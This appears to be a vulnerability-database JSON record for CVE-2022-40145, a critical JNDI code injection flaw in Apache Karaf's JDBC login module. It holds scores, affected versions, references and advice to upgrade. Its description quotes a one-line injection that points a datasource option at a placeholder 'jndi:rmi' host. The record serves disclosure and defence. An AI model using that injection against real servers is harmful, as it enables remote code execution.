{"schemaVersion":3,"id":"CVE-2022-40145","aliases":["GHSA-c2p4-8mvv-rwmv"],"status":"published","duplicateOf":null,"title":null,"description":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","dates":{"published":"2022-12-21T15:23:42.847Z","modified":"2025-04-15T18:03:47.618Z","reserved":null,"kevAdded":[],"kevDue":[]},"cvss":{"headline":{"score":9.8,"severity":"critical","version":"3.1","versionLabel":"v3.1","source":"CVE.org","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","computed":false,"selection":"backend-summary"},"metrics":[{"version":"3.1","versionLabel":"v3.1","source":"CVE.org","score":9.8,"severity":"critical","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","exploitability":null,"impact":null,"computed":false},{"version":"3.1","versionLabel":"v3.1","source":"OSV · Maven","score":9.8,"severity":"critical","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","exploitability":10,"impact":9.8,"computed":true},{"version":"3.1","versionLabel":"v3.1","source":"NVD","score":9.8,"severity":"critical","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","exploitability":null,"impact":null,"computed":false}]},"epss":{"probability":0.02502,"percentile":0.84462,"severity":"low","asOf":"2026-10-18T00:00:00.000Z","change":{"pp":0.09800000000000017,"baselineDate":"2026-09-18T00:00:00.000Z","baselineScore":0.02404},"history":[{"date":"2026-09-14T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-15T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-16T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-17T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-18T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-19T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-20T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-21T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-22T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-23T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-24T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-25T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-26T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-27T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-28T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-29T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-30T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-10-01T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-10-02T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-03T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-04T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-05T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-06T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-07T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-08T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-09T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-10T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-11T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-12T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-13T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-14T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-15T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-16T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-17T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-18T00:00:00.000Z","score":0.02502,"percentile":0.84462}],"last30":[{"date":"2026-09-18T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-19T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-20T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-21T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-22T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-23T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-24T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-25T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-26T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-27T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-28T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-29T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-09-30T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-10-01T00:00:00.000Z","score":0.02404,"percentile":null},{"date":"2026-10-02T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-03T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-04T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-05T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-06T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-07T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-08T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-09T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-10T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-11T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-12T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-13T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-14T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-15T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-16T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-17T00:00:00.000Z","score":0.02502,"percentile":null},{"date":"2026-10-18T00:00:00.000Z","score":0.02502,"percentile":0.84462}]},"kev":{"state":"not-listed","entries":[],"listedCount":0,"totalCatalogs":3,"catalogs":[{"source":"cisa","label":"CISA","listed":false,"entry":null},{"source":"enisa","label":"ENISA","listed":false,"entry":null},{"source":"circl","label":"CIRCL","listed":false,"entry":null}]},"ransomware":{"state":"none-recorded","sources":[]},"exploits":[],"exploitCount":0,"weaknesses":[{"id":"CWE-20","name":"Improper Input Validation","description":"The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly.","type":"weakness","status":"Stable","abstraction":"Class","likelihoodOfExploit":"High","url":"https://cwe.mitre.org/data/definitions/20.html"},{"id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","description":"The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.","type":"weakness","status":"Incomplete","abstraction":"Class","likelihoodOfExploit":"High","url":"https://cwe.mitre.org/data/definitions/74.html"}],"affected":[{"vendor":"apache software foundation","product":"apache karaf","name":"Apache Karaf","label":"apache karaf","ecosystem":null,"cpePart":"a","purl":null,"purlType":null,"versions":[{"text":"≥ 4.4.0, < 4.4.2","noFixRecorded":false,"fixedIn":null},{"text":"< 4.3.8","noFixRecorded":false,"fixedIn":null}],"versionsText":"≥ 4.4.0, < 4.4.2 | < 4.3.8","eol":null,"hubHref":"/vendor/apache_software_foundation/apache_karaf"},{"vendor":"apache","product":"karaf","name":"karaf","label":"karaf","ecosystem":null,"cpePart":"a","purl":null,"purlType":null,"versions":[{"text":"< 4.3.8","noFixRecorded":false,"fixedIn":null},{"text":"≥ 4.4.0, < 4.4.2","noFixRecorded":false,"fixedIn":null}],"versionsText":"< 4.3.8 | ≥ 4.4.0, < 4.4.2","eol":null,"hubHref":"/vendor/apache/karaf"},{"vendor":"org.apache.karaf","product":"apache-karaf","name":"org.apache.karaf:apache-karaf","label":"apache-karaf","ecosystem":"Maven","cpePart":null,"purl":"pkg:maven/org.apache.karaf/apache-karaf","purlType":"maven","versions":[{"text":"< 4.3.8","noFixRecorded":false,"fixedIn":null},{"text":"≥ 4.4.0, < 4.4.2","noFixRecorded":false,"fixedIn":null}],"versionsText":"< 4.3.8 | ≥ 4.4.0, < 4.4.2","eol":null,"hubHref":null}],"affectedCount":3,"eol":{"hasEol":false,"count":0},"references":[{"url":"https://karaf.apache.org/security/cve-2022-40145.txt","label":"karaf.apache.org/security/cve-2022-40145.txt","hostname":"karaf.apache.org","tags":["Vendor Advisory","WEB"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40145","label":"nvd.nist.gov/vuln/detail/CVE-2022-40145","hostname":"nvd.nist.gov","tags":["Advisory"]},{"url":"https://github.com/apache/karaf/pull/1632","label":"github.com/apache/karaf/pull/1632","hostname":"github.com","tags":["WEB"]},{"url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1","label":"gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1","hostname":"gitbox.apache.org","tags":["WEB"]},{"url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341","label":"gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341","hostname":"gitbox.apache.org","tags":["WEB"]},{"url":"https://github.com/apache/karaf","label":"github.com/apache/karaf","hostname":"github.com","tags":["PACKAGE"]},{"url":"https://issues.apache.org/jira/browse/KARAF-7568","label":"issues.apache.org/jira/browse/KARAF-7568","hostname":"issues.apache.org","tags":["WEB"]}],"lineage":{"upstream":[],"downstream":[],"duplicates":[],"related":[]},"timeline":[{"kind":"published","date":"2022-12-21T15:23:42.847Z","label":"Published","detail":"Vulnerability first disclosed.","source":null},{"kind":"modified","date":"2025-04-15T18:03:47.618Z","label":"Last modified","detail":"Vulnerability information updated.","source":null}],"risk":{"score":70,"level":"high","profile":"Default","thresholds":{"critical":75,"high":50,"medium":25,"low":10}},"meta":{"dataAsOf":"2026-10-19T02:57:18.468Z","stale":false,"partial":false}}